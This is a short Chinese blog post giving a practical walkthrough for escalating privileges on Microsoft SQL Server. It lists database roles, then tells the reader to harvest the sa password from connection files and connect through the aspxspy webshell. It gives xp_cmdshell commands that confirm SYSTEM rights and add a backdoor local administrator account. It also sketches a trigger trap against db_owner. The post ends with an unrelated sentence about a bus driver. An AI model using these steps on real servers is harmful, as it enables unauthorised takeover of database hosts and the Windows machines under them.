MsSql提权

发布于 2019-09-09  43 次阅读


# mssql提权

1.用户权限介绍

  1. sa 可以执行所有操作
  2. db_owner 可以执行所有数据库角色活动

  3. public 维护所有默认权限

  4. db_accessadmin 可以添加、删除数据库用户、组及角色

  5. db_datareader 可以查看所有数据库中用户表内数据

  6. db_datawriter 可以添加、修改或删除所有数据库中用户表内数据

  7. db_ddladmin 可以添加、更改或删除数据库对象

  8. db_securityadmin 可以管理数据库中与安全权限操作相关的所有动作

  9. db_backoperator 可以备份数据库(并可以发布DBCC和CHECKPOINT语句,这两个语句一般在备份前都会被执行)

  10. db_denydatareader 不能看到数据库中任何数据

  11. db_denydatawriter 不能改变数据库中任何数据

    没有降权的情况下,mssql的服务是以SYSTEM权限运行的,sa类似windows中的Administrators,db_owner类似Power Users

2.前提

  1. mssql没有降权,是以SYSTEM权限来运行的

  2. 已找到sa的密码(翻conn.asp、web.config等数据库连接文件)

3.sa权限提权

  1. 扫描端口,确定mssql开启,默认端口为1433

  2. 查找数据库连接文件,找到mssql连接字符串,如:

    <add key="ConnectionString" value="server=(local);uid=sa;pwd=sa;database=Northwind">

  3. 在aspxspy下,连接上去提权

    server=localhost;UID=sa;PWD=sa;database=Northwind;Provider=SQLOLEDB
    站库分离环境下server应填写数据库服务器所在的内网ip地址

  4. 查看当前权限

    Exec master.dbo.xp_cmdshell 'whoami'
    返回nt authority\system表示mssql运行在默认权限下

  5. 添加用户,添加用户到管理员组

    Exec master.dbo.xp_cmdshell 'net user moon 123456 /add'
    Exec master.dbo.xp_cmdshell 'net localgroup administrators moon /add'
    Exec master.dbo.xp_cmdshell 'net user' //确认添加的用户

4.db_owner权限提权

思路:可以在用户表中创建一个事后触发器,等管理员用sa用户执行插入用户时触发,从而达到提权效果


公交车司机终于在众人的指责中将座位让给了老太太